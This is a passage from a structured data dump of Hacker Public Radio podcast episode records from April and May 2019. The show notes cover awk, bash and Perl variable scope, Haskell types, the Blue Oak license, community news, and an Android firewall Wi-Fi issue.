                                                            \n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":2801,"date":"2019-04-29","title":"Guitar Set Up Part 1.","duration":1724,"summary":"NYbill talks about setting up a guitar.","notes":"

                                                            NYbill talks about setting up a guitar.

                                                            \n

                                                            Pics for the episode:

                                                            \n

                                                            https://media.gunmonkeynet.net/u/nybill/collection/guitar-set-up/

                                                            \n","hostid":235,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Guitar, DIY","version":0,"downloads":0,"valid":1}, {"id":2802,"date":"2019-04-30","title":"Mid-life (?) assessment","duration":991,"summary":"It seems life goes faster and faster and then turns around and goes slower and slower","notes":"

                                                            At 40, I’m at the middle of the mean life expectancy in most parts of the world. What’s happened so far, and where do I go from here?

                                                            \n

                                                            I look at my life’s past in increasingly smaller chunks of years, and then at my life’s future in increasingly larger chunks of years, and speculate about those 80 years — or perhaps many more? — of expected lifetime.

                                                            \n

                                                            I’m saying mostly the things I wrote at https://loadaverage.org/conversation/10689347 but with some small updates from the last 9 months.

                                                            \n","hostid":311,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"life, kids, work, medicine, future","version":0,"downloads":0,"valid":1}, {"id":2803,"date":"2019-05-01","title":"Update on my Raspi 3 B OpenMedia Vault and Next Cloud instances","duration":449,"summary":"A short podcast on how my little home servers are working or not","notes":"\n

                                                            I use a Toshiba 4TB non-powered drive external usb 3 drive.

                                                            \n","hostid":129,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi,NextCloud,openmediavault","version":0,"downloads":0,"valid":1}, {"id":2804,"date":"2019-05-02","title":"Awk Part 13: Fix-Width Field Processing","duration":381,"summary":"In this episode, I discuss how to deal with fix-width field text files using Awk","notes":"

                                                            Basic usage

                                                            \n

                                                            Use the FIELDWIDTHS = "n1 n2 n3 ..." annotation in the BEGIN section of an awk command to specify the widths of the fields.

                                                            \n

                                                            For instance, the following file has widths of 20, 10, and 12 characters.

                                                            \n
                                                            NAME                STATE     TELEPHONE\nJohn Smith          WA        418-311-4111\nMary Hartford       CA        319-219-4341\nEvan Nolan          IL        219-532-5301\nBoris Ratinski      NC        201-553-5555\n
                                                            \n

                                                            Below is an example of processing such a file:

                                                            \n
                                                            BEGIN  { FIELDWIDTHS = "20 10 12" }\nNR > 1 {\n    name = $1\n    state = $2\n    phone = $3\n    sub(/ +$/, "", name)\n    sub(/ +$/, "", state)\n    sub(/ +$/, "", phone)\n    printf("%s lives in %s. The phone number is %s.\\n", name, state, phone)\n}\n
                                                            \n

                                                            Then you can run the command:

                                                            \n
                                                            awk -f process_fixed_width.awk fixed_width.txt\n
                                                            \n","hostid":300,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"bash,linux,cli,command-line,awk","version":0,"downloads":0,"valid":1}, {"id":2805,"date":"2019-05-03","title":"My 50th Show","duration":1064,"summary":"This is a review of the other 49 shows I've posted in the last 3 years","notes":"

                                                            Hallo this is again Tony Hughes for HPR. This is an auspicious show for me as it’s my 50th show that I have recorded and released on HPR in my own right. However prior to my 1st show in my own right I did guest on 2 shows.

                                                            \n

                                                            The first of these was:

                                                            \n
                                                              \n
                                                            • hpr0844 :: The Flying Handbag hosted by HPR Volunteers
                                                              \nReleased: 2011-10-26
                                                            • \n
                                                            \n

                                                            Which was a show that was recorded at Barcamp Blackpool in 2011, when a group of us got together to record a podcast, the hilarious thing was that the only place we could find to record was a stairwell which happened to be next to the toilets, definitely not family friendly but if you want a laugh have a listen.

                                                            \n

                                                            The next show I appeared on was an interview I did with Ken Fallon at my first OggCamp in the same year.

                                                            \n
                                                              \n
                                                            • hpr0863 :: Tony Hughes Free Cycle hosted by Ken Fallon
                                                              \nReleased: 2011-11-22.
                                                            • \n
                                                            \n

                                                            Ken was as usual trying to recruit new hosts and interviewed me with the hope that I would become one. Well I did but it took another 5 years before I finally recorded my first show in my own right.

                                                            \n

                                                            First just to say the idea for this show comes from hpr2700 in which Ken created a script to automate the bot voice reading a list of every show that has been released on HPR, so to celebrate my 50th Show I thought I would list my shows but with me running through them and do a brief summary of the show where appropriate.

                                                            \n
                                                              \n
                                                            1. hpr2051 :: My Linux Journey
                                                              \nReleased on 2016-06-13
                                                              \nin this episode I talked about my journey in computing and starting to use Linux

                                                            2. \n
                                                            3. hpr2056 :: Interview with a young hacker
                                                              \nReleased on 2016-06-20
                                                              \nThis was my first of several interviews with @All_about_Code at my local Raspberry Jam

                                                            4. \n
                                                            5. hpr2065 :: Whats in My Bag
                                                              \nReleased on 2016-07-01
                                                              \nLooking at this show so tells me I have to redo this show as my bag is very different these days

                                                            6. \n
                                                            7. hpr2076 :: What Magazines I read Part 1
                                                              \nReleased on 2016-07-18
                                                              \njust what the title said, I talked about the magazines I was reading at that point in time.

                                                            8. \n
                                                            9. hpr2087 :: Magazines I read Part 2
                                                              \nReleased on 2016-08-02
                                                              \nThis was a follow up of the last show

                                                            10. \n
                                                            11. hpr2097 :: New Toys
                                                              \nReleased on 2016-08-16
                                                              \nI talked about my hardware journey over the last 30 odd years and talked about the i7 system I had just bought 2nd hand

                                                            12. \n
                                                            13. hpr2101 :: What’s on my podcatcher
                                                              \nReleased on 2016-08-22
                                                              \nA show about the podcasts I listen to.

                                                            14. \n
                                                            15. hpr2144 :: An Interview with All About Code at Manchester BarCamp
                                                              \nReleased on 2016-10-20
                                                              \na follow up interview with Josh

                                                            16. \n
                                                            17. hpr2151 :: BarCamp Manchester part 2
                                                              \nReleased on 2016-10-31
                                                              \nAn interview with Claire, the organiser of BarCamp Manchester.

                                                            18. \n
                                                            19. hpr2157 :: BarCamp Manchester part 3
                                                              \nReleased on 2016-11-08
                                                              \nThis was an interview with Alan O’Donohoe who had started the Raspberry Jam movement

                                                            20. \n
                                                            21. hpr2257 :: Watt OS
                                                              \nReleased on 2017-03-28
                                                              \nAcer Aspire One Netbook – Review

                                                            22. \n
                                                            23. hpr2265 :: WattOS on Lenovo X61s
                                                              \nReleased on 2017
                                                              \nLenovo X61s – Review

                                                            24. \n
                                                            25. hpr2271 :: Raspberry Pi Zero W
                                                              \nReleased on 2017-04-17
                                                              \nReview Episode on the then New Pi Zero W

                                                            26. \n
                                                            27. hpr2280 :: Lenovo X61s Part 2
                                                              \nReleased on 2017-04-28
                                                              \nFollow up review after a SSD upgrade and using Linux Lite

                                                            28. \n
                                                            29. hpr2286 :: Surviving a Stroke
                                                              \nReleased on 2017-05-08
                                                              \nA very personal episode about my surviving a Stroke in February 2017

                                                            30. \n
                                                            31. hpr2295 :: MX Linux
                                                              \nReleased on 2017-05-19
                                                              \nA review episode using this OS on a Lenovo X230i after a hardware boot issue with Linux Mint and an SSD

                                                            32. \n
                                                            33. hpr2331 :: Liverpool Makefest 2017 Show 1
                                                              \nReleased on 2017-07-10
                                                              \nThe first of a number of interview shows from the 2017 Liverpool Makefest

                                                            34. \n
                                                            35. hpr2336 :: Liverpool Makefest 2017 Show 2
                                                              \nReleased on 2017-07-17

                                                            36. \n
                                                            37. hpr2341 :: Liverpool Makefest 2017 Show 3
                                                              \nReleased on 2017-07-24

                                                            38. \n
                                                            39. hpr2346 :: Liverpool Makefest 2017 Show 4
                                                              \nReleased on 2017-07-31

                                                            40. \n
                                                            41. hpr2352 :: Liverpool Makefest 2017 Show 5
                                                              \nReleased on 2017-08-08

                                                            42. \n
                                                            43. hpr2362 :: Raspbian X86 on Lenovo x61s
                                                              \nReleased on 2017-08-22
                                                              \nReview of Raspbian X86 on a Lenovo X61s

                                                            44. \n
                                                            45. hpr2366 :: Making Bramble Jelly
                                                              \nReleased on 2017-08-28
                                                              \nJust what it says on the tin I talk about making Bramble jelly,

                                                            46. \n
                                                            47. hpr2374 :: How to Make Sauerkraut
                                                              \nReleased on 2017-09-07
                                                              \nAnother food show on how to make Sauerkraut

                                                            48. \n
                                                            49. hpr2380 :: Raspbian X86 on P4 Tower
                                                              \nReleased on 2017-09-15
                                                              \nFollow up this time running Raspbian X86 on an old P4 Tower

                                                            50. \n
                                                            51. hpr2405 :: Nokia 6 Review
                                                              \nReleased on 2017-10-20
                                                              \nI reviewed my new phone

                                                            52. \n
                                                            53. hpr2432 :: Living with the Nokia 6 – an update to HPR 2405
                                                              \nReleased on 2017-11-28
                                                              \nFollow up update show having lived with the phone for a couple of months.

                                                            54. \n
                                                            55. hpr2442 :: The sound of Woodbrooke Quaker Study centre in the Spring
                                                              \nReleased on 2017-12-12
                                                              \nThis was a soundscape recording I made at Woodbrooke Quaker Study Centre in Birmingham UK while I was there in April 2017.

                                                            56. \n
                                                            57. hpr2579 :: Ubuntu 18.04 Mate
                                                              \nReleased on 2018-06-21
                                                              \nA review of the recently released Ubuntu 18.04 Mate

                                                            58. \n
                                                            59. hpr2590 :: Blowing a PC Power Supply
                                                              \nReleased on 2018-07-06
                                                              \nA show about how not to blow your PC power supply

                                                            60. \n
                                                            61. hpr2595 :: New laptop bargain?
                                                              \nReleased on 2018-07-13
                                                              \nA review on my recently purchased secondhand Toshiba Z30 laptop

                                                            62. \n
                                                            63. hpr2601 :: Liverpool Makerfest 2018
                                                              \nReleased on 2018-07-23
                                                              \nChris Dell

                                                            64. \n
                                                            65. hpr2606 :: Liverpool Makefest 2018 - interview with Dan Lynch
                                                              \nReleased on 2018-07-30
                                                              \nA podcast Legend

                                                            66. \n
                                                            67. hpr2612 :: Liverpool Makefest 2018 - interview with Joe aka Concrete Dog
                                                              \nReleased on 2018-08-07
                                                              \nAbout Rocketry

                                                            68. \n
                                                            69. hpr2616 :: Liverpool Makefest 2018 - interview with Josh - A.K.A - All About Code
                                                              \nReleased on 2018-08-13.
                                                              \nThis is another short interview recorded at Liverpool Makefest, with Josh talking about EduBlocks.

                                                            70. \n
                                                            71. hpr2621 :: Liverpool Makefest 2018 - Chan’nel Thomas a.k.a little pink maker
                                                              \nReleased on 2018-08-20
                                                              \nI talk to Chan’nel Thomas aka little pink maker.

                                                            72. \n
                                                            73. hpr2626 :: Liverpool Makefest 2018 - interviews with Helen and Chris
                                                              \nReleased on 2018-08-27
                                                              \nIn this episode I talk to Helen from Manchester Hackspace and Chris from Wirral Code Club

                                                            74. \n
                                                            75. hpr2632 :: Liverpool Makefest 2018 - interviews with Robert and Carl
                                                              \nReleased on 2018-09-04
                                                              \nIn this episode I talk to Robert from Roberts Workshop and Carl from Edgehill University

                                                            76. \n
                                                            77. hpr2636 :: Liverpool Makefest 2018 - interviews with Noel from JMU FabLab
                                                              \nReleased on 2018-09-10

                                                            78. \n
                                                            79. hpr2641 :: Liverpool Makefest 2018 - interview with Rachel from the MicroBit Foundation
                                                              \nReleased on 2018-09-17

                                                            80. \n
                                                            81. hpr2646 :: Liverpool Makefest 2018 - Interview with Steve and Gerrard from the Liverpool Astronomical society.
                                                              \nReleased on 2018-09-24

                                                            82. \n
                                                            83. hpr2652 :: Liverpool Makefest 2018 - Interview with Caroline and John
                                                              \nReleased on 2018-10-02 under a CC-BY-SA license.
                                                              \nThis was the final interview from Makefest 2018 in Liverpool. In this interview I interview one of the founder members of Makefest, Caroline Keep, and the Head Teacher of the school where she works, John Carling.

                                                            84. \n
                                                            85. hpr2663 :: Short review on a 2.5 inch SSD/HDD caddy
                                                              \nReleased on 2018-10-17
                                                              \nQuick hardware review

                                                            86. \n
                                                            87. hpr2702 :: Audacity set up and response to episode 2658
                                                              \nReleased on 2018-12-11
                                                              \nI post my response to show 2658 by Dave and Al

                                                            88. \n
                                                            89. hpr2735 :: Soffritto
                                                              \nReleased on 2019-01-25
                                                              \nAnother food show

                                                            90. \n
                                                            91. hpr2738 :: My Applications
                                                              \nReleased on 2019-01-30
                                                              \nThis and my 47th episode were about the applications I use in Linux

                                                            92. \n
                                                            93. hpr2746 :: My software part 2
                                                              \nReleased on 2019-02-11

                                                            94. \n
                                                            95. hpr2772 :: My applications and software part 3
                                                              \nA short show about the software I use in Linux Mint

                                                            96. \n
                                                            97. hpr2786 :: My YouTube Channels
                                                              \nA short show about some of my YouTube channels inspired by Ahuka

                                                            98. \n
                                                            \n

                                                            https://hackerpublicradio.org/correspondents/0338.html

                                                            \n","hostid":338,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"HPR, Linacityux, podcasting, Audacity","version":0,"downloads":0,"valid":1}, {"id":2806,"date":"2019-05-06","title":"HPR Community News for April 2019","duration":6840,"summary":"HPR Volunteers talk about shows released and comments posted in April 2019","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n
                                                            IdDayDateTitleHost
                                                            2781Mon2019-04-01HPR Community News for March 2019HPR Volunteers
                                                            2782Tue2019-04-02Never stop gamingklaatu
                                                            2783Wed2019-04-03The Windows \"Shutdown.exe\" Command ExplainedClaudio Miranda
                                                            2784Thu2019-04-04The Yamaha DisklavierJon Kulp
                                                            2785Fri2019-04-05What is uCPEJWP
                                                            2786Mon2019-04-08My YouTube ChannelsTony Hughes AKA TonyH1212
                                                            2787Tue2019-04-09NodeJS Part 1operat0r
                                                            2788Wed2019-04-10Looping in HaskellTuula
                                                            2789Thu2019-04-11Pacing In Storytellinglostnbronx
                                                            2790Fri2019-04-12My YouTube Subscriptions #5Ahuka
                                                            2791Mon2019-04-15LUKS like truecryptklaatu
                                                            2792Tue2019-04-16Playing around with text to speech synthesis on LinuxJeroen Baten
                                                            2793Wed2019-04-17bash coproc: the future (2009) is hereclacke
                                                            2794Thu2019-04-18Interview with Martin WimpressYannick the french guy from Switzerland
                                                            2795Fri2019-04-19Dead Earthklaatu
                                                            2796Mon2019-04-22IRS,Credit Freezes and Junk Mail Ohh My!operat0r
                                                            2797Tue2019-04-23Writing Web Game in Haskell - Simulation at high levelTuula
                                                            2798Wed2019-04-24Should Podcasters be Pirates ?knightwise
                                                            2799Thu2019-04-25building an arduino programmerBrian in Ohio
                                                            2800Fri2019-04-26My YouTube Subscriptions #6Ahuka
                                                            2801Mon2019-04-29Guitar Set Up Part 1.NYbill
                                                            2802Tue2019-04-30Mid-life (?) assessmentclacke
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 23 comments in total.

                                                            \n

                                                            Past shows

                                                            \n

                                                            There are 4 comments on\n4 previous shows:

                                                            \n
                                                              \n
                                                            • hpr2457\n(2018-01-02) \"Getting ready for my new Macbook Pro\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nBart on 2019-04-25:\n\"aren't you forgetting a hub?\"

                                                              \n
                                                            • hpr2739\n(2019-01-31) \"Bash Tips - 19\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nclacke on 2019-04-01:\n\"local\"

                                                              \n
                                                            • hpr2774\n(2019-03-21) \"CJDNS and Yggdrasil\"\nby aldenp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nclacke on 2019-04-01:\n\"Yggdrasil pronunciation\"

                                                              \n
                                                            • hpr2779\n(2019-03-28) \"HTTP, IPFS, and torrents\"\nby aldenp.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nclacke on 2019-04-01:\n\"audio quality\"

                                                              \n
                                                            \n

                                                            This month's shows

                                                            \n

                                                            There are 19 comments on 7 of this month's shows:

                                                            \n
                                                            • hpr2783\n(2019-04-03) \"The Windows \"Shutdown.exe\" Command Explained\"\nby Claudio Miranda.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nBubba on 2019-04-04:\n\"Shutdown.exe command\"
                                                              • Comment 2:\nClaudioM on 2019-04-06:\n\"Also Useful with PsExec from Sysinternals Suite\"

                                                              \n
                                                            • hpr2784\n(2019-04-04) \"The Yamaha Disklavier\"\nby Jon Kulp.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-04-04:\n\"music to ears\"
                                                              • Comment 2:\nJan on 2019-04-04:\n\"Translations\"
                                                              • Comment 3:\nJon Kulp on 2019-04-04:\n\"Ok but it wasn't the \"Well-Tempered Piano\"\"
                                                              • Comment 4:\nGavtres on 2019-04-05:\n\"So cool!\"
                                                              • Comment 5:\nDave Morriss on 2019-04-05:\n\"What a wonderful device!\"
                                                              • Comment 6:\nGuy on 2019-04-06:\n\"How far away are you?\"
                                                              • Comment 7:\nJon Kulp on 2019-04-06:\n\"\"or\" not \"of\"\"
                                                              • Comment 8:\nWindigo on 2019-04-14:\n\"Library of Congress\"
                                                              • Comment 9:\nJon Kulp on 2019-04-15:\n\"A great summer job\"
                                                              • Comment 10:\nJon Kulp on 2019-04-18:\n\"Older near-perfect player pianos\"

                                                              \n
                                                            • hpr2787\n(2019-04-09) \"NodeJS Part 1\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-04-10:\n\"looking for more\"

                                                              \n
                                                            • hpr2789\n(2019-04-11) \"Pacing In Storytelling\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-04-11:\n\"what about non-fictional stories\"

                                                              \n
                                                            • hpr2793\n(2019-04-17) \"bash coproc: the future (2009) is here\"\nby clacke.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nDave Morriss on 2019-04-22:\n\"I really enjoyed this!\"

                                                              \n
                                                            • hpr2796\n(2019-04-22) \"IRS,Credit Freezes and Junk Mail Ohh My!\"\nby operat0r.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\ncogoman on 2019-04-25:\n\"Credit card security\"

                                                              \n
                                                            • hpr2798\n(2019-04-24) \"Should Podcasters be Pirates ?\"\nby knightwise.
                                                            • \n
                                                            • \n
                                                              • Comment 1:\nTuula on 2019-04-24:\n\"Yarrr, record me episodes\"
                                                              • Comment 2:\nDave Morriss on 2019-04-27:\n\"Memories of early podcasts and pirate radio\"
                                                              • Comment 3:\nDudeNamedBen on 2019-04-29:\n\"Da Podfather, Adam Curry\"

                                                              \n
                                                            \n\n

                                                            Mailing List discussions

                                                            \n

                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2019-April/thread.html\n\n\n

                                                            Events Calendar

                                                            \n

                                                            With the kind permission of LWN.net we are linking to\nThe LWN.net Community Calendar.

                                                            \n

                                                            Quoting the site:

                                                            \n
                                                            This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.
                                                            \n\n

                                                            Any other business

                                                            \n

                                                            HPR on Wikipedia

                                                            \n

                                                            Please see the draft at https://en.wikipedia.org/w/index.php?title=Draft:Hacker_Public_Radio

                                                            \n

                                                            If you are not already a host, then please help improve the site.

                                                            \n

                                                            Tags and Summaries

                                                            \n

                                                            Thanks to the following contributor for sending in updates in the past month: Tony Hughes

                                                            \n

                                                            Over the period tags and/or summaries have been added to 36 shows which were without them.

                                                            \n

                                                            If you would like to contribute to the tag/summary project visit the summary page at https://hackerpublicradio.org/report_missing_tags.php and follow the instructions there.

                                                            \n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2807,"date":"2019-05-07","title":"Are bash local variables local?","duration":661,"summary":"A lesson on dynamic scope vs lexical scope","notes":"

                                                            https://en.wikipedia.org/wiki/Scope_%28computer_science%29

                                                            \n

                                                            In hpr2739, Dave talked briefly about local variables. But what are they?

                                                            \n

                                                            In most modern languages, especially in compiled languages, "local" means that the value of a variable cannot be directly known, by looking up the name, outside the bounds of that function, but that’s not how it works in bash.

                                                            \n

                                                            Languages like C and Python have lexical scope. Lexical scope means local variables are local in the text. The names are local.

                                                            \n

                                                            If I’m writing code that is textually located outside the function, I cannot even describe how to access the variables within the function, because myvariable in my function is not the same variable, not the same place, as myvariable in your function.

                                                            \n

                                                            Languages like Bash and Elisp have dynamic scope. That means local variables are local in time. The names are global.

                                                            \n

                                                            What happens when you declare a variable local in bash is that the existing value of that variable is stowed away, to be brought back when your function exits.

                                                            \n
                                                            #!/usr/bin/env bash\nfunction sayscope() {\n    echo The scope is $whatsmyscope\n}\n\nfunction globalscope() {\n    whatsmyscope=global\n}\n\nfunction dynamicscope() {\n    whatsmyscope=dynamic\n}\n\nfunction localscope() {\n    local whatsmyscope=local\n    sayscope\n    dynamicscope\n    sayscope\n}\n\nglobalscope\nsayscope\nlocalscope\nsayscope
                                                            \n
                                                            The scope is global\nThe scope is local\nThe scope is dynamic\nThe scope is global
                                                            \n

                                                            Perl has both, and it calls them local (dynamic scope, like bash) and my (lexical scope):

                                                            \n
                                                            #!/usr/bin/env perl\nuse v5.10;\n\nsub sayscope {\n    say "Dynamic scope is $whatsmyscope";\n}\n\nsub globalscope {\n    $whatsmyscope="global";\n}\n\nsub dynamicscope {\n    $whatsmyscope="dynamic";\n}\n\nsub lexicalscope {\n    my $whatsmyscope="lexical";\n    say "Lexical scope is $whatsmyscope";\n    sayscope;\n}\n\nsub localscope {\n    local $whatsmyscope="local";\n    sayscope;\n    dynamicscope;\n    sayscope;\n    lexicalscope;\n}\n\nglobalscope;\nsayscope;\nlocalscope;\nsayscope;
                                                            \n
                                                            Dynamic scope is global\nDynamic scope is local\nDynamic scope is dynamic\nLexical scope is lexical\nDynamic scope is dynamic\nDynamic scope is global
                                                            \n

                                                            You almost never want to use local in Perl, it’s mostly there for historical reasons — lexical scope is a Perl 5 feature. https://perl.plover.com/local.html covers well the remaining few and narrow exceptions where local might be useful.

                                                            \n

                                                            As dynamic scope has some valid use, it’s available in some otherwise lexically scoped languages. For example, Common LISP has the special form, and several Schemes and Racket have parameter objects:

                                                            \n\n

                                                            To dig fully into the history and flora of dynamic and lexical scope merits another episode.

                                                            \n\n\n","hostid":311,"series":42,"explicit":0,"license":"CC-BY-SA","tags":"bash, perl, scope, dynamic scope, lexical scope","version":0,"downloads":0,"valid":1}, {"id":2808,"date":"2019-05-08","title":"Haskell function types","duration":1469,"summary":"Tuula gives overview of function types in Haskell","notes":"

                                                            Haskell is statically typed language, meaning that during compilation, programs are checked for type correctness. This means that you won’t accidentally mix for example text and numbers. Haskell does type inference. The compiler will try and figure out what kind of types would make your program to be valid in terms of types. Programmer could completely omit types, but it’s often helpful to write type signatures for at least top level definitions. These will be helpful for both the programmers and compilers.

                                                            \n

                                                            concrete types

                                                            \n

                                                            Simplest case is where types are spelled out definitely. Function add below takes two Integer parameters and produces Integer value. Note that types are written in upper case.

                                                            \n

                                                            add :: Integer -> Integer -> Integer

                                                            \n

                                                            It’s possible to not use concrete types. In following example a (note the lower case) can be anything. So function takes two values of a, a Boolea and produces a. This is useful technique for writing very general functions.

                                                            \n

                                                            choose :: a -> a -> Boolean -> a

                                                            \n

                                                            ad hoc polymorphism

                                                            \n

                                                            In previous example, we wouldn’t be able to do much at all with a as we don’t know its type. Sometimes we need to know a bit more about type, without specifically declaring its type. For those cases type constraints are useful.

                                                            \n

                                                            add :: (Num a) => a -> a -> a

                                                            \n

                                                            This version of add again takes two parameters, both being type a and produces value a. But (Num a) => part in the signature constraints a to be instance of Num. This type class (I’ll talk about these some other time) defines that each instance of it will have set of functions: +, -, *, negate, abs, signum and fromInteger. So now our add function can use those functions, regardless of what specific type a is.

                                                            \n

                                                            parametrized functions

                                                            \n

                                                            Types used in function signature can be parametrized. If we wanted a function that returns a first element of any list, we could have following signature: first :: [a] -> Maybe a

                                                            \n

                                                            first takes single parameter, list of a and returns Maybe a. Maybe is a type that is used to signify a value that might or might not be present and has following definition:

                                                            \n
                                                            data Maybe a =\n     Nothing\n     | Just a
                                                            \n

                                                            So our function would return Nothing when given an empty list and Just a when given a list of at least one element.

                                                            \n

                                                            using functions

                                                            \n

                                                            Function application in Haskell doesn’t require parentheses around arguments. Calling our add function is just add 1 2. If one of the values is result of another function call, we need to tell which parameters belong to which function. Using $ is one option: add 1 $ add 2 3, another option is to use parentheses: add 1 (add 2 3).

                                                            \n

                                                            When function is called with less parameters than it expect, instead of run time error you’ll going to receive a function. In following example addLots 5 will produce same value as add 1000 5:

                                                            \n
                                                            addLots = add 1000\naddLots 5
                                                            \n

                                                            Another contrived example of partial application:

                                                            \n
                                                            findPodcasts :: [Podcast] -> Text -> [Podcast]\nsearch = findPodcasts loadedPodcasts\nmyPodcasts = search "Tuula"
                                                            \n

                                                            functions as types

                                                            \n

                                                            Functions have type (that’s what the signature is for after all) and functions can be used as values. You can return function from another function or you can pass in a function as a parameter.

                                                            \n

                                                            Common example is filter, which has following signature: filter :: (a -> Bool) -> [a] -> [a]

                                                            \n

                                                            It takes two parameters, first one is function that has type a -> Bool and second one is list of a. Return value is list of a. You can produce a list of odd numbers between 1 and 10 with filter odd [1..10].

                                                            \n

                                                            anonymous functions

                                                            \n

                                                            Sometimes you need a function to pass in as a parameter, but the function is so small that you don’t want to give it a name. For those cases, anonymous function are good. If you wanted to produce a list of odd numbers that are greater that 5 in range from 1 10, you could write it as: filter (\\x -> odd x && x > 5) [1..10]. If you squint hard enough \\ looks almost like a lowercase greek letter λ.

                                                            \n

                                                            Easiest way to catch me is either email or fediverse where I’m Tuula@mastodon.social

                                                            \n","hostid":364,"series":107,"explicit":0,"license":"CC-BY-SA","tags":"haskell","version":0,"downloads":0,"valid":1}, {"id":2809,"date":"2019-05-09","title":"The Blue Oak Model License and Its One Big Gotcha","duration":1268,"summary":"Introducing and examining a new and elegant permissive software license.","notes":"

                                                            The Blue Oak Model License 1.0.0 was just released this month. In this episode I read the license, explain where it sits in among other software licenses, and enumerate some of the problems it purports to solve.

                                                            \n

                                                            I’m no legal expert, so take all of this as sort of a rough introduction to the license.

                                                            \n

                                                            Overall, if you are looking at permissive (vs copyleft) licenses, I would strongly suggest you consider this license! It’s concise, robust, it was developed by credible people, and gives your users future-proof safety from a number of common legal traps.

                                                            \n

                                                            However: just note that it has a feature, some would say bug, that might be a big deciding factor in whether you feel comfortable with it (listen for details)

                                                            \n

                                                            Nevertheless, I believe this license, or at least its style of language, will soon become extremely common.

                                                            \n

                                                            Further links:

                                                            \n
                                                              \n
                                                            • The Blue Oak Model License 1.0.0 — the license itself. You may also wish to read the group’s statement about their methodology and how the license came to be.
                                                            • \n
                                                            • Deprecation Notice: MIT and BSD — the blog post I mention in the recording, by Blue Oak council member, developer and IP lawyer Kyle Mitchell. He explains some problems he sees with the MIT and BSD licenses and how the BOML addresses them.
                                                            • \n
                                                            • Discussion on Hacker News — This was a pretty good discussion. Kyle Mitchell also chimed in here to respond to some criticisms and tire-kicking of this license (you can recognize him by his handle kemitchell).
                                                            • \n
                                                            \n

                                                            Not mentioned in the recording: One thing that caused me a bit of confusion at first was the term “attribution”. Kyle and the Blue Oak folks use this term mainly to talk about license terms, not authorship or credit. So for them an attribution requirement is a requirement to include the license terms with any distributed copies, not a requirement to give authorship credit to people.

                                                            \n

                                                            If you want to use this license as a starting point for your own “bespoke” license, you can! As I mention in the recording, I created my own variant of the Blue Oak license for one of my own projects. My main change was a strong requirement for downstream users to give credit to upstream contributors—not just when redistributing source code, but in all published software, books and websites created with the software!

                                                            \n\n

                                                            Of course, when you make your own changes, you had better think hard about them, and if possible, get the advice of an Actual Lawyer who can discuss your particular situation.

                                                            \n","hostid":376,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"legal, licensing","version":0,"downloads":0,"valid":1}, {"id":2810,"date":"2019-05-10","title":"Wi-Fi on Android","duration":462,"summary":"Ken fixes an Android Firewalled Wi-Fi connection that reports no Internet and won’t connect","notes":"

                                                            Background

                                                            \n

                                                            \nYou're running a firewall on your work and home networks right, so of course you're running one on your Smart Phone. Given this device holds more information about you than you probably know yourself, it would be only prudent to make sure that you are protecting what gets in but also what gets out.\n

                                                            \n

                                                            \nI run AFWall+ which is available from the F-Droid app store. It runs fine on LineageOS.\n

                                                            \n

                                                            \nI then set it on the children's phone so that no application is allowed to use mobile data, and then only applications that need Internet get Internet Access. This works well as it's a normal use case for mobile applications to have intermittent access to the Internet.\n

                                                            \n

                                                            \nI see no reason why the Linux Kernel should need unfettered access to the Internet, so it's not allowed out. One issue you may come across is that even though you know that there is a Connection your phone doesn't, and so it will display the Wi-Fi Connected, no Internet message. \n

                                                            \n

                                                            \n\"Wi-Fii\n

                                                            \n

                                                            \nI'm not sure how this check is done but abqnm suggests at in the StackExchange question How does Android determine if it has an Internet connection? that it may be related to Google Cloud Messaging.\n

                                                            \n\n
                                                            \n... this means that the device is unable to receive a response from GCM (Google Cloud Messaging, the framework that handles push notifications). This traffic is sent through ports 5228, 5229, and 5230. If the AP is blocking or interfering with traffic on those ports, push notifications won't work ... \n
                                                            \n

                                                            \nI do indeed see blocked attempts by Google Play Services on my own phone, but not on the other phones that have no google services installed. The only entry I see in the logs is an ICMP attempt to \"Comcast Cable Communications, Inc\". If you know more please record a show for Hacker Public Radio about it.\n

                                                            \n\n

                                                            Giving Access

                                                            \n

